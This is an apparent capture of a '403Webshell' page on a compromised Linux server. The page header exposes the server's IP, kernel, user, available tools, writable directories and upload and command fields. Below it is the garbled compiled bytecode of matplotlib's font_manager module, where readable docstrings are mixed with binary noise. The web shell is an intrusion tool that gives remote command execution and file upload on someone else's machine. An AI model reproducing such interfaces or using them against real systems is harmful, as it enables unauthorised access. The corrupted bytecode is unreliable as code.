403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/__pycache__/font_manager.cpython-312.pyc
�

G8�c����,�dZddlmZddlZddlZddlmZddlmZddl	Z	ddl
Z
ddlmZddl
Z
ddlmZddlZddlZddlZddlZddlZddlmZmZmZmZdd	lmZmZdd
lmZe
j>e �Z!ddd
dddddd
dd�
Z"dddddddddddddd�
Z#ddddddddddddddd�Z$gd�Z%hd�Z&	ejN�Z(d Z+d!d"gZ,e-e(d#z�e-e(d$z�gZ.d%d&d'd(d)e-ee
j^jad*�xse(d+z�d,z�e-e(d-z�gZ1d.d/d0d1e-e(d2z�gZ2d3�Z3d4�Z4d5�Z5d6�Z6ejnd7�dhd8��Z8d9�Z9e�d:��Z:ejnd7�did;��Z;dhd<�Z<d=�Z=d>�Z>ej~d?d@e-ej�dA�B�fdCe-ej�dA�B�fdDe-ej�dE�B�fdFe-ej�dE�B�fdGe-ej�dE�B�fdHe-ej�dE�B�fdIe-ej�dJ�B�fgdKdL�dM�dN��O�ZAdP�ZBdQ�ZCGdR�dS�ZDGdT�dUe	j��ZFdV�ZGdW�ZHdX�ZIGdY�dZ�ZJe�d[��ZKed\�d]��ZLeMe
d^�re
j�eLj��_�ed\�d`��ZPej�dadbdc�djdd��ZRdedf�dg�ZSeS�ZTeTj�ZUeTj�ZVy#e)$ree
jT�Z(Y��UwxYw)ka�
A module for finding, managing, and using fonts across platforms.

This module provides a single `FontManager` instance, ``fontManager``, that can
be shared across backends and platforms.  The `findfont`
function returns the best TrueType (TTF) font file in the local or
system font path that matches the specified `FontProperties`
instance.  The `FontManager` also handles Adobe Font Metrics
(AFM) font files for use by the PostScript backend.

The design is based on the `W3C Cascading Style Sheet, Level 1 (CSS1)
font specification <http://www.w3.org/TR/1998/REC-CSS2-19980512/>`_.
Future versions may implement the Level 2 or 2.1 specifications.
�)�	b64encodeN)�	lru_cache)�BytesIO)�Number)�Path)�_api�_afm�cbook�ft2font)�parse_fontconfig_pattern�generate_fontconfig_pattern)�_validatorsg�I+��?gh��|?5�?g-����?��?g333333�?g
ףp=
�?g��S�?)
zxx-smallzx-small�small�medium�largezx-largezxx-large�larger�smallerN�d���,����X�� �)
zultra-condensedzextra-condensed�	condensed�semi-condensed�normalz
semi-expandedz
semi-extended�expanded�extendedzextra-expandedzextra-extendedzultra-expandedzultra-extended)�
ultralight�lightr �regular�bookr�roman�semibold�demibold�demi�bold�heavyz
extra bold�black))�thinr)�
extralightr)r#r)�	demilight�^)�	semilightr1)r$r)r&i|)r%r)r r)rr)r)r)r*r)r(r)�	extraboldr)�	superboldr)�	ultraboldr)r+r)�
ultrablack��)�
superblackr7)�
extrablackr7)z\bultrar7)r-r)r,r>�sans�serif�cursive�fantasy�	monospace�
sans serif�
sans-serifz@Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Foldersz2SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fontsz/SOFTWARE\Microsoft\Windows\CurrentVersion\Fontsz%AppData/Local/Microsoft/Windows/Fontsz'AppData/Roaming/Microsoft/Windows/Fontsz/usr/X11R6/lib/X11/fonts/TTF/z/usr/X11/lib/X11/fontsz/usr/share/fonts/z/usr/local/share/fonts/z)/usr/lib/openoffice/share/fonts/truetype/�
XDG_DATA_HOMEz.local/share�fontsz.fontsz/Library/Fonts/z/Network/Library/Fonts/z/System/Library/Fonts/z/opt/local/share/fontsz
Library/Fontsc�$�dggd�gd�gd�d�|S)zh
    Return a list of file extensions that are synonyms for
    the given file extension *fileext*.
    �afm)�otf�ttc�ttf)rDrErFrG���fontexts �9/usr/lib/python3/dist-packages/matplotlib/font_manager.py�get_fontext_synonymsrL�s&���w�$�$�$�	�
���c�8�|D�cgc]}d|z��	}}tjdk(rm|t�k(r`tj|�D�cgc]A}tj
j
|�r tj
j||���Cc}Stj|�D����cgc]R\}}}|D]G}t|�jj�|vr tj
j||���I�Tc}}}}Scc}wcc}wcc}}}}w)zo
    Return a list of all fonts matching any of the extensions, found
    recursively under the directory.
    �.�win32)�sys�platform�win32FontDirectory�os�listdir�path�isfile�join�walkr�suffix�lower)�	directory�
extensions�ext�filename�dirpath�_�	filenamess       rK�
list_fontsrc�s���
(2�2��#��)�2�J�2�
�|�|�w��9�0B�0D�#D� "�
�
�9� 5�-���7�7�>�>�(�+������Y��1�-�	-�.0�W�W�Y�-?�@�@�)�G�Q�	� )�@����>�(�(�.�.�0�J�>�	�����W�h�/�@�/�@�	@��
3��-��@s�D
�
AD�-AD
c�"�ddl}	|j|jt�5}|j	|d�dcddd�S#1swYyxYw#t
$r4tjjtjdd�cYSwxYw)a
    Return the user-specified font directory for Win32.  This is
    looked up from the registry key ::

      \\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Fonts

    If the key is not found, ``%WINDIR%\Fonts`` will be returned.
    rN�Fonts�WINDIR)
�winreg�OpenKey�HKEY_CURRENT_USER�	MSFolders�QueryValueEx�OSErrorrTrVrX�environ)rg�users  rKrSrS�sx���;�
�^�^�F�4�4�i�
@�	9�D��&�&�t�W�5�a�8�	9�	9�	9���;��w�w�|�|�B�J�J�x�0�'�:�:�;�s-� A�A�	A�A�
A�A�:B�
Bc��ddl}t�}tD]�}	|j||�5}t	|j|�d�D]U}|j
||�\}}}	t|t�s�*	t||�j�}
|j|
��W	ddd���|S#t$rY�pwxYw#1swY�xYw#ttf$rY��wxYw)a
    Search for fonts in the Windows registry.

    Parameters
    ----------
    reg_domain : int
        The top level registry domain (e.g. HKEY_LOCAL_MACHINE).

    base_dir : str
        The path to the folder where the font files are usually located (e.g.
        C:\Windows\Fonts). If only the filename of the font is stored in the
        registry, the absolute path is built relative to this base directory.

    Returns
    -------
    `set`
        `pathlib.Path` objects with the absolute path to the font files found.

    rN�)rg�set�MSFontDirectoriesrh�range�QueryInfoKey�	EnumValue�
isinstance�strr�resolve�RuntimeError�addrl�MemoryError)�
reg_domain�base_dirrg�items�reg_path�local�j�key�value�tprVs           rK�_win32RegistryFontsr��s���(��E�E�%���	����
�H�5�
$���v�2�2�5�9�!�<�=�$�A�&,�%5�%5�e�Q�%?�N�C���%�e�S�1� �!� $�H�e�4�<�<�>��
�I�I�d�O�$�
$���*�L��(�!� �!��
$�
$�� ��%�	��	�sM�C	�AB=�4B.�B=�"C	�.	B:	�7B=�9B:	�:B=�=C	�C	�	C�Cz3.5c��ddl}|�
t�}t|�D�cgc]}d|z��	}}t�}|j	t|j|��tD]'}|j	t|j|���)|D�cgc]*}|jj�|vs� t|���,c}Scc}wcc}w)a

    Search for fonts in the specified font directory, or use the
    system directories if none given. Additionally, it is searched for user
    fonts installed. A list of TrueType font filenames are returned by default,
    or AFM fonts if *fontext* == 'afm'.
    rNrO)rgrSrLrq�updater��HKEY_LOCAL_MACHINE�MSUserFontDirectoriesrirZr[rw)r\rJrgr^r~�userdirrVs       rK�win32InstalledFontsr�
s������&�(�	�$8��$A�B�S�s�S�y�B�G�B��E�E�
�L�L�$�V�%>�%>�	�J�K�)�M��
���(��)A�)A�7�K�L�M�#(�J�$�4�;�;�+<�+<�+>�'�+I�C��I�J�J��C��Ks�C�!C�1
Cc	�,�ddl}t�}|jt�gf|jt
ffD]�\}}|D]�}tD]�}	|j||�5}t|j|�d�D]U}|j||�\}}	}
t|	t�s�*	t||	�j�}|j!|��W	ddd�������|S#t$rY�twxYw#1swY� xYw#t"t$f$rY��wxYw)z2List the font paths known to the Windows registry.rNrp)rgrqr�rSrir�rrrhrsrtrurvrwrrxryrzrlr{)rgr~�domain�	base_dirsr}rr�r�r�r�r�rVs            rK�_get_win32_installed_fontsr�&s:����E�E��
&�
&�);�)=�(>�?�
�
%�
%�'<�=�����	�"�	�H�-�
��������9�,�U�!&�v�':�':�5�'A�!�'D�!E�
,�A�.4�-=�-=�e�Q�-G�N�C���#-�e�S�#9� (�)�(,�H�e�'<�'D�'D�'F��"�I�I�d�O�
,�,��
�	�	�0�L��
$0�)� (�)��,�,�� ��-����sO�
D�AC5	�(C&
�C5	�D�&	C2
�/C5	�1C2
�2C5	�5C>
�:D�D	�D	c�T�	dtjddg�vrtjd�gStjddg�}|j
d�D�cgc] }ttj|����"c}S#ttj
f$rgcYSwxYwcc}w)z3Cache and list the font paths known to ``fc-list``.s--formatzfc-listz--helpz7Matplotlib needs fontconfig>=2.7 to query system fonts.z--format=%{file}\n�
)
�
subprocess�check_output�_log�warningrl�CalledProcessError�splitrrT�fsdecode)�out�fnames  rK�_get_fontconfig_fontsr�Fs�����j�5�5�y�(�6K�L�L��L�L�I�
K��I��%�%�y�2G�&H�I��36�)�)�E�2B�C��D����U�#�$�C�C��
�Z�2�2�3���	���Cs�/B�B�%B%�B"�!B"c���t|�D�cgc]}d|z��	}}t�D�cgc])}|jj�|vrt	|���+c}Scc}wcc}w)zDList font filenames known to ``fc-list`` having the given extension.rO)rLr�rZr[rw)rJr^rVs   rK�get_fontconfig_fontsr�Tsa��%9��$A�B�S�s�S�y�B�G�B�"7�"9�/�$��{�{� � �"�g�-�
��I�/�/��C��/s
�A�.Ac
�D��t�}t|��|�}tjdk(rt	�}t
t
�gz}n2t�}tjdk(rgt�t�}nt}|j�fd�|D��nt|t�r|g}|D]?}|jttjj t#|�����A|D�cgc]$}tjj%|�s�#|��&c}Scc}w)a4
    Search for fonts in the specified font paths.  If no paths are
    given, will use a standard set of system paths, as well as the
    list of fonts tracked by fontconfig if fontconfig is installed and
    available.  A list of TrueType fonts are returned by default with
    AFM fonts as an option.
    rP�darwinc3�r�K�|].}|jj�dd�vr
t|����0y�w)rpN)rZr[rw)�.0rV�fontextss  �rK�	<genexpr>z"findSystemFonts.<locals>.<genexpr>qs:�����A�t� �K�K�-�-�/���3�x�?��T��A�s�47)rqrLrQrRr�r�rSr��X11FontDirectories�OSXFontDirectoriesr�rvrw�maprTrV�abspathrc�exists)�	fontpathsrJ�	fontfiles�installed_fontsrVr�r�s      @rK�findSystemFontsr�\s������I�#�G�,�H����<�<�7�"�8�:�O�-�1C�1E�0F�F�I�3�5�O��|�|�x�'�F�0�F�3E�F�	�.�	����A��A�	A�
�I�s�	#��K�	��K������R�W�W�_�_�j��x�.H�I�J�K� )�B�e�B�G�G�N�N�5�,A�E�B�B��Bs�1$D�Dc�.�ddlm}|�}|jdk7rt|j�nd}|j	dd|j
|��t
�5}|j|dd��|j�cddd�S#1swYyxYw)Nr)�Figure�)�font�tightT)�bbox_inches�transparent)	�matplotlib.figurer�r�r�text�namer�savefig�getvalue)�fontentr��fig�	font_path�bufs     rK�_fontentry_helper_repr_pngr�}sv��(�
�(�C�'.�}�}��':��W�]�]�#��I��H�H�Q��7�<�<�i�H�0�	���c����C�W�$��?��|�|�~����s�$B�Bc�V�t|�}t|�j�}d|�d�S)Nz!<img src="data:image/png;base64, z" />)r�r�decode)r��
png_stream�png_b64s   rK�_fontentry_helper_repr_htmlr��s.��+�G�4�J��
�#�*�*�,�G�
/��y��>�>rM�	FontEntryr�r�)�defaultr��styler �variant�weight�stretch�sizerzj
    A class for storing Font properties.

    It is used when populating the font lookup dictionary.
    c��t|�S�N)r���selfs rK�<lambda>r��s��$?��$E�rMc��t|�Sr�)r�r�s rKr�r��s��#=�d�#C�rM)�__doc__�_repr_html_�
_repr_png_)�	namespacec	�������j}�j�}d}d}|jg|�d��d�jd�j	�xs4|jg|�d��d�jd�j	�}|jg|�d��d�jd�j	�xs4|jg|�d��d�jd�j	���jd�d	k\rd}nP�jd
�d	k\rd
}n9|jd�d	k\rd}n"�jtjzrd
}nd}|j	�d
vrd}nd}d}d}	d}
|jg|�|��d�jd�|jg|�|	��d�jd�|jg|�|
��d�jd�|jg|�|��d�jd�|jg|�|	��d�jd�|jg|�|
��d�jd�g�gtd���xs
�jg���fd�}t|��}t�fd�dD��rd}
n d�vrd}
nt�fd�dD��rd}
nd}
�jstd��d}t�j |||||
|�S)a
    Extract information from a TrueType font file.

    Parameters
    ----------
    font : `.FT2Font`
        The TrueType font file from which information will be extracted.

    Returns
    -------
    `FontEntry`
        The extracted font properties.

    )rprr)�rpi	�rMzlatin-1�	utf_16_be��obliquer�italicr%r ��capitals�
small-capsr���z	utf-16-beNc����jd�}|r
|ddk7r|dS	�j�djdd�xsd}tD].\}}t	j
||tj�s�,|cS	�D]M}|jdd�}tD]0\}}t	j||tj�s�,|ccS�O�jtjzryy	#t$rY�|wxYw)
NzOS/2�versioni���
usWeightClassr�� r�rr)�get_sfnt_table�get_ps_font_info�replace�_weight_regexes�re�	fullmatch�I�
ValueError�search�style_flagsr�BOLD)�os2�ps_font_info_weight�regexr�r�r��styless     ��rK�
get_weightz#ttfFontProperty.<locals>.get_weight�s����!�!�&�)���3�y�>�V�+���'�'�	"��%�%�'��1�9�9�#�r�B�H�b�
 �
"1�
"�
��v��<�<��':�B�D�D�A�!�M�
"��	"�E��M�M�#�r�*�E�!0�
"�
��v��9�9�U�E�2�4�4�0�!�M�
"�	"�
���g�l�l�*�����	��	�s�'C3�3	C?�>C?c3�&�K�|]}|�v���
y�wr�rH�r��word�sfnt4s  �rKr�z"ttfFontProperty.<locals>.<genexpr>s�����
E�T�4�5�=�
E���)�narrowr�condr�	demi condrc3�&�K�|]}|�v���
y�wr�rHr�s  �rKr�z"ttfFontProperty.<locals>.<genexpr>s�����H�t�T�U�]�H�r���wider!r"r!z$Non-scalable fonts are not supported�scalable)�family_name�get_sfnt�getr�r[�findr�r�ITALIC�filter�
style_name�int�anyr��NotImplementedErrorr�r�)r�r��sfnt�mac_key�ms_key�sfnt2r�r��
wws_subfamily�typographic_subfamily�font_subfamilyr�r�r�r�r�r�s`              @@rK�ttfFontPropertyr�s�������D��=�=�?�D��G��F��X�X�m��m��m�S�
)�
0�
0��
;�
A�
A�
C�E�
�X�X�l��l��l�C�
(�
/�
/��
<�
B�
B�
D�
�
�X�X�m��m��m�S�
)�
0�
0��
;�
A�
A�
C�E�
�X�X�l��l��l�C�
(�
/�
/��
<�
B�
B�
D�
�
�z�z�)���!���	���H�	��	"���	���I�	�!�	#���	
�	�	�G�N�N�	*�����
�z�z�|�1�1������M����N����*�7�*�M�*�C�0�7�7�	�B����2�7�2�1�2�C�8�?�?�	�J����+�7�+�N�+�S�1�8�8��C����)�6�)�=�)�3�/�6�6�{�C����1�6�1�0�1�3�7�>�>�{�K����*�6�*�>�*�C�0�7�7��D�
�F�%�v�d�F�#�
$�
9����(9�F��2���
�F��
E�%D�
E�E���	��	�"��	�H�'G�H�	H������=�=�!�"H�I�I��D��T�Z�Z��u�g�v�w��M�MrMc	����|j�}|j�j��|j�dk7sd|j�vrd}nd|j�vrd}nd}|j�dvrd}nd}|j	�j�}|t
vrd}d�vrd}n0t
�fd	�d
D��rd}nt
�fd�d
D��rd}nd}d}t|||||||�S)z�
    Extract information from an AFM font file.

    Parameters
    ----------
    font : AFM
        The AFM font file from which information will be extracted.

    Returns
    -------
    `FontEntry`
        The extracted font properties.
    rr�r�r r�r�r�rc3�&�K�|]}|�v���
y�wr�rH�r�r��fontnames  �rKr�z"afmFontProperty.<locals>.<genexpr>Qs�����=�$�T�X�
�=�r�)r�r�rc3�&�K�|]}|�v���
y�wr�rHrs  �rKr�z"afmFontProperty.<locals>.<genexpr>Ss�����K�$�T�X�
�K�r�r�r!r�)�get_familyname�get_fontnamer[�	get_angler��weight_dictrr�)	�fontpathr�r�r�r�r�r�r�rs	        @rK�afmFontPropertyr"s������� �D�� � �"�(�(�*�H��~�~��1���D�J�J�L� 8���	�d�j�j�l�	"�����
�z�z�|�1�1�����
�_�_�
�
$�
$�
&�F�
�[� ����h��"��	�=�*<�=�	=���	�K�*J�K�	K������D��X�t�U�G�V�W�d�K�KrMc���eZdZdZ				dd�Zed��Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZeZeZeZ eZ!y)�FontPropertiesa
    A class for storing and manipulating font properties.

    The font properties are the six properties described in the
    `W3C Cascading Style Sheet, Level 1
    <http://www.w3.org/TR/1998/REC-CSS2-19980512/>`_ font
    specification and *math_fontfamily* for math fonts:

    - family: A list of font names in decreasing order of priority.
      The items may include a generic font family name, either 'sans-serif',
      'serif', 'cursive', 'fantasy', or 'monospace'.  In that case, the actual
      font to be used will be looked up from the associated rcParam during the
      search process in `.findfont`. Default: :rc:`font.family`

    - style: Either 'normal', 'italic' or 'oblique'.
      Default: :rc:`font.style`

    - variant: Either 'normal' or 'small-caps'.
      Default: :rc:`font.variant`

    - stretch: A numeric value in the range 0-1000 or one of
      'ultra-condensed', 'extra-condensed', 'condensed',
      'semi-condensed', 'normal', 'semi-expanded', 'expanded',
      'extra-expanded' or 'ultra-expanded'. Default: :rc:`font.stretch`

    - weight: A numeric value in the range 0-1000 or one of
      'ultralight', 'light', 'normal', 'regular', 'book', 'medium',
      'roman', 'semibold', 'demibold', 'demi', 'bold', 'heavy',
      'extra bold', 'black'. Default: :rc:`font.weight`

    - size: Either a relative value of 'xx-small', 'x-small',
      'small', 'medium', 'large', 'x-large', 'xx-large' or an
      absolute font size, e.g., 10. Default: :rc:`font.size`

    - math_fontfamily: The family of fonts used to render math text.
      Supported values are: 'dejavusans', 'dejavuserif', 'cm',
      'stix', 'stixsans' and 'custom'. Default: :rc:`mathtext.fontset`

    Alternatively, a font may be specified using the absolute path to a font
    file, by using the *fname* kwarg.  However, in this case, it is typically
    simpler to just pass the path (as a `pathlib.Path`, not a `str`) to the
    *font* kwarg of the `.Text` object.

    The preferred usage of font sizes is to use the relative values,
    e.g.,  'large', instead of absolute font sizes, e.g., 12.  This
    approach allows all text sizes to be made larger or smaller based
    on the font manager's default font size.

    This class will also accept a fontconfig_ pattern_, if it is the only
    argument provided.  This support does not depend on fontconfig; we are
    merely borrowing its pattern syntax for use here.

    .. _fontconfig: https://www.freedesktop.org/wiki/Software/fontconfig/
    .. _pattern:
       https://www.freedesktop.org/software/fontconfig/fontconfig-user.html

    Note that Matplotlib's internal font manager and fontconfig use a
    different algorithm to lookup fonts, so the results of the same pattern
    may be different in Matplotlib than in other applications that use
    fontconfig.
    Nc	�|�|j|�|j|�|j|�|j|�|j	|�|j|�|j
|�|j|�t|t�r$|�!|�|�|�|�|�|j|�yyyyyyyyr�)�
set_family�	set_style�set_variant�
set_weight�set_stretch�set_file�set_size�set_math_fontfamilyrvrw�set_fontconfig_pattern)	r��familyr�r�r�r�r�r��math_fontfamilys	         rK�__init__zFontProperties.__init__�s���	
��������u������!����������!��
�
�e���
�
�d��� � ��1�
�v�s�#��M�g�o�&�.��O������'�'��/�:G��O�;I�o�M�
$rMc��t||�r|S|�|�St|tj�r	||��St|t�r||�S|di|��S)a�
        Generic constructor which can build a `.FontProperties` from any of the
        following:

        - a `.FontProperties`: it is passed through as is;
        - `None`: a `.FontProperties` using rc values is used;
        - an `os.PathLike`: it is used as path to the font file;
        - a `str`: it is parsed as a fontconfig pattern;
        - a `dict`: it is passed as ``**kwargs`` to `.FontProperties`.
        )r�rH)rvrT�PathLikerw)�cls�args  rK�	_from_anyzFontProperties._from_any�sV���c�3���J�
�[��5�L�
��R�[�[�
)��S�>�!�
��S�
!��s�8�O��:��:�rMc	��t|j��|j�|j�|j	�|j�|j
�|j�|j�f}t|�Sr�)
�tuple�
get_family�	get_slant�get_variantr��get_stretch�get_size�get_file�get_math_fontfamily�hash)r��ls  rK�__hash__zFontProperties.__hash__�sm��
�4�?�?�$�
%�
�^�^�
�
�
�
�
�
�_�_�
�
�
�
�
�
�]�]�_�
�]�]�_�
�
%�
%�
'�
)���A�w�rMc�0�t|�t|�k(Sr�)r:)r��others  rK�__eq__zFontProperties.__eq__�s���D�z�T�%�[�(�(rMc�"�|j�Sr�)�get_fontconfig_patternr�s rK�__str__zFontProperties.__str__�s���*�*�,�,rMc��|jS)a
        Return a list of individual font family names or generic family names.

        The font families or generic font families (which will be resolved
        from their respective rcParams when searching for a matching font) in
        the order of preference.
        )�_familyr�s rKr3zFontProperties.get_family�s���|�|�rMc�>�tt|��jS)zT
        Return the name of the font that best matches the font properties.
        )�get_font�findfontrr�s rK�get_namezFontProperties.get_name�s������'�3�3�3rMc��|jS)zV
        Return the font style.  Values are: 'normal', 'italic' or 'oblique'.
        )�_slantr�s rK�	get_stylezFontProperties.get_style�s���{�{�rMc��|jS)zQ
        Return the font variant.  Values are: 'normal' or 'small-caps'.
        )�_variantr�s rKr5zFontProperties.get_variant�s���}�}�rMc��|jS)z�
        Set the font weight.  Options are: A numeric value in the
        range 0-1000 or one of 'light', 'normal', 'regular', 'book',
        'medium', 'roman', 'semibold', 'demibold', 'demi', 'bold',
        'heavy', 'extra bold', 'black'
        )�_weightr�s rKr�zFontProperties.get_weight�s���|�|�rMc��|jS)z�
        Return the font stretch or width.  Options are: 'ultra-condensed',
        'extra-condensed', 'condensed', 'semi-condensed', 'normal',
        'semi-expanded', 'expanded', 'extra-expanded', 'ultra-expanded'.
        )�_stretchr�s rKr6zFontProperties.get_stretchs���}�}�rMc��|jS)z'
        Return the font size.
        )�_sizer�s rKr7zFontProperties.get_size����z�z�rMc��|jS)z=
        Return the filename of the associated font.
        )�_filer�s rKr8zFontProperties.get_filerTrMc��t|�S)a
        Get a fontconfig_ pattern_ suitable for looking up the font as
        specified with fontconfig's ``fc-match`` utility.

        This support does not depend on fontconfig; we are merely borrowing its
        pattern syntax for use here.
        )r
r�s rKrAz%FontProperties.get_fontconfig_patterns��+�4�0�0rMc�b�|�tjd}t|t�r|g}||_y)aV
        Change the font family.  Can be either an alias (generic name
        is CSS parlance), such as: 'serif', 'sans-serif', 'cursive',
        'fantasy', or 'monospace', a real font name or a list of real
        font names.  Real font names are not supported when
        :rc:`text.usetex` is `True`. Default: :rc:`font.family`
        Nzfont.family)�mpl�rcParamsrvrwrD)r�r)s  rKr zFontProperties.set_family$s/���>��\�\�-�0�F��f�c�"��X�F���rMc�n�|�tjd}tjgd�|��||_y)z�
        Set the font style.

        Parameters
        ----------
        style : {'normal', 'italic', 'oblique'}, default: :rc:`font.style`
        Nz
font.style)r r�r�)r�)rYrZr�
check_in_listrJ)r�r�s  rKr!zFontProperties.set_style2s/���=��L�L��.�E����:�%�H���rMc�n�|�tjd}tjddg|��||_y)z�
        Set the font variant.

        Parameters
        ----------
        variant : {'normal', 'small-caps'}, default: :rc:`font.variant`
        Nzfont.variantr r�)r�)rYrZrr\rM)r�r�s  rKr"zFontProperties.set_variant?s3���?��l�l�>�2�G����H�l�3�W�E���
rMc���|�tjd}|tvr||_y	t	|�}d|cxkrdkr	||_ytd|�d���#t
$rY�wxYw)aC
        Set the font weight.

        Parameters
        ----------
        weight : int or {'ultralight', 'light', 'normal', 'regular', 'book', 'medium', 'roman', 'semibold', 'demibold', 'demi', 'bold', 'heavy', 'extra bold', 'black'}, default: :rc:`font.weight`
            If int, must be in the range  0-1000.
        Nzfont.weightrr7zweight=� is invalid)rYrZrrOrr��r�r�s  rKr#zFontProperties.set_weightLs���>��\�\�-�0�F��[� �!�D�L��	���[�F��F�"�d�"�%����#��G�F�9�K�0�1�1��
�	��	���A�	A!� A!c���|�tjd}|tvr||_y	t	|�}d|cxkrdkr	||_ytd|�d���#t
$rY�wxYw)aP
        Set the font stretch or width.

        Parameters
        ----------
        stretch : int or {'ultra-condensed', 'extra-condensed', 'condensed', 'semi-condensed', 'normal', 'semi-expanded', 'expanded', 'extra-expanded', 'ultra-expanded'}, default: :rc:`font.stretch`
            If int, must be in the range  0-1000.
        Nzfont.stretchrr7zstretch=r_)rYrZ�stretch_dictrQrr�)r�r�s  rKr$zFontProperties.set_stretchfs���?��l�l�>�2�G��l�"�#�D�M��	��'�l�G��G�#�t�#� '��
��$��H�G�:�[�1�2�2��
�	��	�rac�r�|�tjd}	t|�}|dkrtjd|�d}||_
y#t$rf	t|}|t
j
�z}nA#t$r5}tddjttt��z�|�d}~wwxYwY��wxYw)aG
        Set the font size.

        Parameters
        ----------
        size : float or {'xx-small', 'x-small', 'small', 'medium', 'large', 'x-large', 'xx-large'}, default: :rc:`font.size`
            If a float, the font size in points. The string values denote
            sizes relative to the default font size.
        N�	font.sizez%Size is invalid. Valid font size are �, rzHFontsize %1.2f < 1.0 pt not allowed by FreeType. Setting fontsize = 1 pt)rYrZ�floatr��
font_scalings�FontManager�get_default_size�KeyErrorrXr�rwr��inforS)r�r��scale�errs    rKr&zFontProperties.set_size�s����<��<�<��,�D�
	>���;�D��#�:��I�I�0�15�
7��D���
���	>�
>�%�d�+���{�;�;�=�=����
C� �;��i�i��C�� 7�8�9�:�?B�C��
C��
�	>�s5�A�	B6�	A2�B6�2	B0�;0B+�+B0�0B6�5B6c�L�|�tj|�|_yd|_y)zw
        Set the filename of the fontfile to use.  In this case, all
        other properties will be ignored.
        N)rT�fspathrV)r��files  rKr%zFontProperties.set_file�s��
)-�(8�R�Y�Y�t�_��
�d��
rMc���t|�j�D]E\}}t|�tk(rt	|d|z�|d��1t	|d|z�|��Gy)z�
        Set the properties by parsing a fontconfig_ *pattern*.

        This support does not depend on fontconfig; we are merely borrowing its
        pattern syntax for use here.
        �set_rN)rr~�type�list�getattr)r��patternr��vals    rKr(z%FontProperties.set_fontconfig_pattern�s_��1��9�?�?�A�	1�H�C���C�y�D� �+���f�s�l�+�C��F�3�+���f�s�l�+�C�0�		1rMc��|jS)z}
        Return the name of the font family used for math text.

        The default font is :rc:`mathtext.fontset`.
        )�_math_fontfamilyr�s rKr9z"FontProperties.get_math_fontfamily�s���$�$�$rMc��|�tjd}||_ytdjj	�}tj||��||_y)a�
        Set the font family for text in math mode.

        If not set explicitly, :rc:`mathtext.fontset` will be used.

        Parameters
        ----------
        fontfamily : str
            The name of the font family.

            Available font families are defined in the
            matplotlibrc.template file
            :ref:`here <customizing-with-matplotlibrc-files>`

        See Also
        --------
        .text.Text.get_math_fontfamily
        Nzmathtext.fontset)r*)rYrZr�valid�valuesrr\rz)r��
fontfamily�valid_fontss   rKr'z"FontProperties.set_math_fontfamily�sY��&�����&8�9�J�!+���	&�&8�9�?�?�F�F�H�K�
���{�J�G� *��rMc�,�tj|�S)zReturn a copy of self.)�copyr�s rKr�zFontProperties.copy�s���y�y���rM)NNNNNNNN)"�__name__�
__module__�__qualname__r�r+�classmethodr0r<r?rBr3rHrKr5r�r6r7r8rAr r!r"r#r$r&r%r(r9r'r��set_namer4�	set_slant�get_size_in_pointsrHrMrKrrfs���<�|FJ�$(��!%�0�(����,	�)�-��4�������1��� �2�43�4�<C�1�%�+�8�
�H��I��I�!�rMrc���eZdZ�fd�Z�xZS)�_JSONEncoderc�Z��t|t�rt|jd��St|t�rUt|jd��}	tt
|d�jtj���|d<|St�|�1|�S#t$rY|SwxYw)Nri��	__class__r�r�)
rvri�dict�__dict__r�rwr�relative_torY�
get_data_pathr��superr�)r��o�dr�s   �rKr�z_JSONEncoder.default�s�����a��%���
�
�m�<�<�
��9�
%��Q�Z�Z�;�7�A�
�!���7��$�0�0��1B�1B�1D�E�G��'�
��H��7�?�1�%�%��	�
���H�
�s�;B�	B*�)B*)r�r�r�r��
__classcell__r�s@rKr�r��s
���&�&rMr�c�
�|jdd�}|�|S|dk(r6tjt�}|jj	|�|S|dk(r�t
jt
�}|jj	|�tjj|j�sAtjjtj�|j�|_	|Std|z��)Nr�rir�z*Don't know how to deserialize __class__=%s)�popri�__new__r�r�r�rTrV�isabsr�rXrYr�r�)r�r.�rs   rK�_json_decoder��s���
�%�%��T�
"�C�
�{���	�
�	�����,��	�
�
���!����	��	����i�(��	�
�
���!���w�w�}�}�Q�W�W�%��g�g�l�l�3�#4�#4�#6����@�A�G����E��K�L�LrMc�J�tj|�5t|d�5}	tj||t
d��ddd�ddd�y#t$r.}tjdj|��Yd}~�Cd}~wwxYw#1swY�LxYw#1swYyxYw)a�
    Dump `FontManager` *data* as JSON to the file named *filename*.

    See Also
    --------
    json_load

    Notes
    -----
    File paths that are children of the Matplotlib data path (typically, fonts
    shipped with Matplotlib) are stored relative to that data path (to remain
    valid across virtualenvs).

    This function temporarily locks the output file to prevent multiple
    processes from overwriting one another's output.
    �wr�)r.�indentz$Could not save font_manager cache {}N)
r
�
_lock_path�open�json�dumpr�rlr�r��format)�datar_�fh�es    rK�	json_dumpr�s���"
�	�	�(�	#�K�T�(�C�%8�K�B�	K��I�I�d�B�L��;�K�K�K���	K��L�L�?�F�F�q�I�J�J��	K��K�K��K�K�sE�
B�B
�A�B�	B
�$B�B
�B
�
B
�
B	�B�B"c�z�t|�5}tj|t��cddd�S#1swYyxYw)zl
    Load a `FontManager` from the JSON file named *filename*.

    See Also
    --------
    json_dump
    )�object_hookN)r�r��loadr�)r_r�s  rK�	json_loadr�s0��
�h��7�2��y�y���6�7�7�7�s�1�:c��eZdZdZdZdd�Zd�Zed��Zd�Z	e
d��Zd	�Ze
d
��Z
d�Zd�Zd
�Zd�Zd�Zd�Z		dd�Zd�Z		dd�Zed�d��Zy)riaQ
    On import, the `FontManager` singleton instance creates a list of ttf and
    afm fonts and caches their `FontProperties`.  The `FontManager.findfont`
    method does a nearest neighbor search to find the font that most closely
